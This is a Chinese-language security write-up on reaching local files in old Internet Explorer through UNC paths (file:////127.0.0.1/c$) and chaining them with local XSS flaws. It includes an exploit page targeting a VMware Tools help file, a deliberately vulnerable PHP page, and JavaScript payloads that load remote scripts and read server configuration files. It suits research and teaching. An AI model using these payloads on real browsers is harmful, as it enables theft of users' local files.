<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    走向本地的邪惡之路

                    Author: superhei [http://hi.baidu.com/hi_heige]
                    Team: www.80vul.com 
                    www.ph4nt0m.org
                    
                    
                    一、前言
                    
                        本文其實源于去年我在blog上發起的《[技術挑戰]How To Exploit Location Cross-Do
                    main Scripting》里的IE部分,由于基本沒人參與,只有我自己研究一下了,并且在基于自
                    己的一些思路上,前段時間還搞了一個《HackGame No.1》,可惜還是沒什么人響應...
                    
                    
                    二、技術背景
                    
                        在IE的歷史【http://en.wikipedia.org/wiki/Internet_Explorer】上就安全上的改進
                    來說,出現了幾次重要整體上的安全防御部署的更新:
                    
                        * Internet Explorer 6 sp2(August 25, 2004發布)加強各大安全區域的劃分,并且推
                    出“Local Machine Zone Lockdown”,這個也就使得本地xss漏洞變為雞肋。(詳見:附錄[1])
                    
                        * Internet Explorer 7(October 18, 2006)主要是改進了“ActiveX Security” (詳
                    見:附錄[2])
                    
                        * Internet Explorer 8(March 19, 2009)  推出了“XSS Filter” (詳見:附錄[3])
                    
                        上面提到的基本是最為sp或新版本更新的整體防御,當然在沒個版本發布和每個月的漏
                    洞日都有相當的安全更新,經過這么些年的縫縫補補,導致了ie的本地xss漏洞的利用空間
                    越來越小...
                    
                    
                    三、走向本地的邪惡之路
                    
                        我們再看看本地xss的攻擊流程:
                    
                        外網通過iframe等標簽-->本地存在xss漏洞的文件-->執行payload。
                    
                        首先我們要找到從外網訪問本地文件的方式,具體在ie里方法有:
                    
                        A. about:協議
                        B. File://
                        C. res://
                        D. 加載chm文件的一些協議:ms-its,its,mk等
                        E. 其他的一些協議。
                    
                        我們看看ie6 sp2后以上一些協議,對于about:本身的xss基本上是滅絕了,而res://直
                    接降到了internet域,對于payload里操作也只可以在res://里徘徊,甚至不可以用file://
                    和http://,至于ms-its,its,mk等雖然還是在“我的電腦”,但是ie6 sp2后默認是不讓執
                    行腳本等。
                    
                        最后剩下file://協議,ie但是以來就隊file://協議有著很好的支持,同樣也給用戶安
                    全帶來了巨大的隱患,ie6 sp2同樣加強了對于file://的防御,比如不可以直接用file://從
                    其他域訪問到“我的電腦”域等。
                    
                        首先我們看看file://訪問文件的兩方式:
                    
                        a 用絕對路徑調用本地文件 
                        b 通過UNC調用網絡文件
                    
                        對于這兩方式的測試,在我的blog上有詳細的描敘:(附錄[4]) 
                    
                        從blog文里可以看出,雖然用a方式可以訪問到本地用“MOTW”標記為internet域的文
                    件,但是這個權限也是小的可憐,對于b方式通過UNC訪問網絡文件,本身就在internet域,
                    但是他這個域對應的是"\\hostip\共享目錄",對于windows而言,默認是開啟各大盤的共享
                    的:
                    
                    --code-------------------------------------------------------------------------
                    C:\>net share
                    
                    Share name   Resource                        Remark
                    
                    -------------------------------------------------------------------------------
                    IPC$                                         Remote IPC
                    ADMIN$       C:\WINDOWS                      Remote Admin
                    C$           C:\                             Default share
                    The command completed successfully. 
                    -------------------------------------------------------------------------------
                    
                        那么這個域是相當‘巨大’的,比如我們可以通過file:////127.0.0.1/c$/的方式來訪
                    問本地c盤下的文件了。雖然嚴格意義來說這個沒有跨域,但是它實現了我們訪問本地文件
                    的目標,這個也就是本文要闡述的“邪惡之路”。
                    
                    
                    四、尋找本地之門[本地xss漏洞]
                    
                        找到了通往本地的邪惡之路后,我們還需要找到的是本地存在xss漏洞的文件。同樣對
                    于ie6 sp2以后,為了防御本地xss攻擊,增加了不少限制,比如限制對于非HTML文件的渲染
                    [比如不渲染.txt .dat等文件],這個意義是非常大的,直接導致我們尋找本地xss漏洞的文
                    件類型越來越少。不過我們可以從下面一些思路尋找突破:
                    
                        A  突破“對于不渲染非html文件”的限制,然后把有漏洞的代碼寫入本地調用。如
                    CVE-2009-1140,附錄[5]。
                    
                        B  利用瀏覽器的緩存或者引誘用戶下載、安裝等方式引入有漏洞的html文件到本地。
                        
                        C  尋找本地有漏洞的html文件或沒有被限制渲染的文件:比如系統自帶的html,第3方
                    軟件安裝的說明幫助的文件等。
                    
                        對于A基本上是很難突破的,那么對于B用ie等瀏覽器的緩存是個不錯的思路,問題是對
                    于緩存的目錄名都是隨機的,或許暴力有那么一點點機會?至于下載安裝等方式,當然你還
                    要知道他放置的路徑等,那屬于“非技術”范疇這里不談論,開來我們的希望在C上,對于
                    系統自帶的html存在xss漏洞那也所非常之渺茫,那么我們看看第3方軟件引進的html文件,
                    比如在VMwareTools的幫助文件(附錄[6])里代碼:
                    
                    --code-------------------------------------------------------------------------
                    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" 
                    	"http://www.w3.org/TR/REC-html40/strict.dtd">
                    <html>
                     <!-- Copyright (c) 2000-2006 Quadralay Corporation.  All rights reserved. -->
                    
                     <head>
                      <meta http-equiv="content-type" content="text/html">
                      <meta http-equiv="charset"      content="UTF-8">
                      <!-- saved from url=(0014)about:internet -->
                    
                      <title>bookmark.htm</title>
                     </head>
                    
                     <body>
                      <script type="text/javascript" language="JavaScript1.2">
                       <!--
                        if ((typeof(window.opener) != "undefined") &&
                            (window.opener != null))
                        {
                          //
                          //直接document.writeln了window.opener.WWHFrame.WWHHelp.mMessages.mBookmarkLinkMessage
                          //    
                          document.writeln("<p>" + window.opener.WWHFrame.WWHHelp.mMessages.mBookmarkLinkMessage + "<\/p>");
                          document.writeln("<p>" + window.opener.WWHFrame.WWHControls.fBookmarkLink() + "<\/p>");
                        }
                       // -->
                      </script>
                     </body>
                    </html>
                    -------------------------------------------------------------------------------
                    
                        上面的代碼如果我們可以控制window.opener.WWHFrame.WWHHelp.mMessages.mBookmarkLinkMessage,
                    那么就可以實現我們的“本地xss漏洞文件”了。那么在ie7下window.opener是可控的,那
                    么我們的exp如下:
                    
                    --code-------------------------------------------------------------------------
                    <html>
                    	<body>
                    		<iframe src="about:blank"></iframe>
                    		<script>
                    document.getElementsByTagName("IFRAME")[0].contentWindow.location=
                    "file:////127.0.0.1/c$/Program Files\VMware\VMware Tools\help\wwhelp\wwhimpl\common\html\bookmark.htm";
                    			document.getElementsByTagName("IFRAME")[0].contentWindow.opener = 
                    {WWHFrame:{WWHHelp:{mMessages:{mBookmarkLinkMessage:"<scr"+"ipt src="payload.js"></scr"+"ipt>"}},
                    WWHControls:{fBookmarkLink:function(){return "";}}}};
                    		</script>
                    	</body>
                    </html> 
                    -------------------------------------------------------------------------------
                    
                        上面的這個漏洞來源于“Attacking Rich Internet Applications”詳見附錄[7](在
                    里感謝kuazz55的分享!)
                    
                        對于payload.js我們可以利用Xmlhttp等得到本地文件的代碼了。
                    
                    
                    五、《HackGame No.1》-- 來自本地web服務的危險
                    
                        我們回到文章開頭的《HackGame No.1》,在這個游戲里我設計了一個本地的web服務環
                    境:win2k3+easyphp,瀏覽器用的ie7[不用考慮XSS Filter],通過hi.php的代碼和最后的提
                    示的那個參考文章,那么很容易考慮到通過本地xss漏洞和csrf方式來引誘管理員來達到攻
                    擊目標。在這個游戲里主要是體現一個問題,對于本地web服務的環境里的文件,那既可以
                    通過http協議來訪問,也可以通過file://127.0.0.1/c$來訪問。那么hi.php就是一個”本
                    地存在的xss漏洞的html文件“ 。:)
                    
                    hi.php代碼:
                    --code-------------------------------------------------------------------------
                    <HTML>
                    <TITLE>Welcome!</TITLE>
                    <BODY>
                    Hi
                    <SCRIPT>
                      var pos=document.URL.indexOf("name=")+5;
                      document.write(document.URL.substring(pos,document.URL.length));
                      //一個典型的dom-xss漏洞
                    </SCRIPT>
                    <BR>
                      Welcome to our system
                    </BR>
                    <?php
                    print stripslashes($_GET["go"]);
                    //這里是一個發射的xss漏洞,因為php解析問題,所以之可能在http下調用
                    ?>
                    </BODY>
                    </HTML>
                    -------------------------------------------------------------------------------
                    
                        通過上面的分析,那么我們的思路很明確了,通過http://127.0.0.1/hi.php?name=xss
                    創建iframe調用file://127.0.0.1/[hi.php的本地路徑]實現本地xss攻擊,如何構造payload
                    調用xmlhttp讀取目標文件。
                    
                        那么現在面臨兩個問題:
                    
                        A 獲取hi.php的本地絕對路徑
                        B 擴展名.php是不是會被ie渲染
                     
                        要得到hi.php的本地路徑,可以通過php爆錯得到,easyphp在默認情況下是開啟錯誤顯
                    示的,那么很簡單通過print stripslashes($_GET["go"]);這句就可以得到路徑了。至于B,
                    經過測試.php是可以被渲染的,最后的exp設計如下:
                    
                    --code-------------------------------------------------------------------------
                    http://127.0.0.1/hi.php?name=<script/src="http://www.80vul.com/hackgame/one.js"></script>
                    -------------------------------------------------------------------------------
                    
                    one.js 
                    --code-------------------------------------------------------------------------
                    var request = false;
                            if(window.XMLHttpRequest) {
                                request = new XMLHttpRequest();
                                if(request.overrideMimeType) {
                                    request.overrideMimeType("text/xml");
                                }
                            } else if(window.ActiveXObject) {
                                var versions = ["Microsoft.XMLHTTP", "MSXML.XMLHTTP", 
                                "Microsoft.XMLHTTP", "Msxml2.XMLHTTP.7.0","Msxml2.XMLHTTP.6.0",
                                "Msxml2.XMLHTTP.5.0", "Msxml2.XMLHTTP.4.0", "MSXML2.XMLHTTP.3.0", 
                                "MSXML2.XMLHTTP"];
                                for(var i=0; i<versions.length; i++) {
                                    try {
                                        request = new ActiveXObject(versions[i]);
                                    } catch(e) {}
                                }
                            }
                    xmlhttp=request;
                    xmlhttp.open("GET", document.URL, false);
                    xmlhttp.send(null);
                    var echo = xmlhttp.responseText;
                    var reg = /go in <b>(.*)<\/b> on/
                    var arr=reg.exec(echo);
                    var webpath = arr[1].replace("C:","c$","g").replace(/\\/g,"/");
                    
                    var iisrc=document.URL.match(/(.*)\?([^#]+)#?/)[1]+
                    "?name=<iframe src=\"file:////127.0.0.1/"+webpath+
                    "?name=<sc"+"ript src="http://www.80vul.com/hackgame/two.js"></scr"+
                    "ipt>\"></iframe>"
                    var d = window.top.document;var newIframe = d.createElement("iframe");
                    newIframe.src=iisrc;newIframe.style.width = 100;
                    newIframe.style.height = 100;d.body.appendChild(newIframe);
                    -------------------------------------------------------------------------------
                    
                    two.js 
                    --code-------------------------------------------------------------------------
                    xmlhttp=new ActiveXObject("Msxml2.XMLHTTP.3.0");
                    xmlhttp.open("GET","../conf_files/httpd.conf",false);
                    xmlhttp.send();
                    alert(xmlhttp.responseText);
                    -------------------------------------------------------------------------------
                    
                        其實很多人在看到這個游戲的時候,聯系我的blog,很容易想到利用unc的方式,但是
                    基本沒有人去實際一下,導致根本就沒有意識到上面提到的A/B里路徑和渲染的問題, 在這
                    個設計前為了減少難度,所以來了個很明顯得到路徑的方法,如果沒有這個提示呢?我們可
                    以拖過列遍web目錄下的文件訪問,爆錯得到路徑,還可以通過phpinfo或者web應用程序本
                    身顯示路徑的功能來提取.....
                    
                        其他的思路:嘗試“本地internet”利用file://直接訪問本地文件,對于本地web服務
                    http://127.0.0.1對應的是”internet域“,而http://localhost/對應的是“本地internet
                    域",對于“本地internet域"應該在“internet域”上可以同行的,比如可以用xmlhttp訪問
                    baidu.com等,這個問題在09年大牛Cesar Cerrudo的paper里談論過(詳見附錄[8]),而文
                    章上面提到\\127.0.0.1\c$\應該也屬于”internet域“,或許可以訪問到。不過可惜經過測
                    試發現用xmlhttp訪問有安全提示,這個應該屬于http協議訪問file協議導致的。
                    
                    
                    六、小結
                    
                        從本文的例子可以看得出來安全的進化,導致了本地xss漏洞的在ie上的利用是越來越
                    困難。所幸運的是MS還給我們留下了一條通往本地的小路:file://UNCPath。這條小路給我
                    們打開本地之門帶來了一線希望。
                    
                    
                    七、參考
                    
                        《由IE6 location Cross-Domain Scripting引發的一點感慨》by firebug9,附錄[9]
                    
                    
                    八、附錄
                    
                    [1] http://technet.microsoft.com/en-us/library/bb457150.aspx
                    [2] http://msdn.microsoft.com/en-us/library/bb250493%28v=VS.85%29.aspx
                    [3] http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx
                    [4] http://hi.baidu.com/hi_heige/blog/item/acb023ac4e8130064b36d6a7.html
                    [5] http://www.coresecurity.com/content/ie-security-zone-bypass
                    [6] C:\Program Files\VMware\VMware Tools\help\wwhelp\wwhimpl\common\html\bookmark.htm
                    [7] “Attacking Rich Internet Applications” (RUXCON 2008 presentation), Kuza55 and Stefano Di Paola, November 2008
                    [8] http://www.argeniss.com/research/HackingIntranets.pdf
                    [9] http://hi.baidu.com/firebug9/blog/item/b7627c4624cd880f6a63e5e7.html
                    
                    -EOF-
                    

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频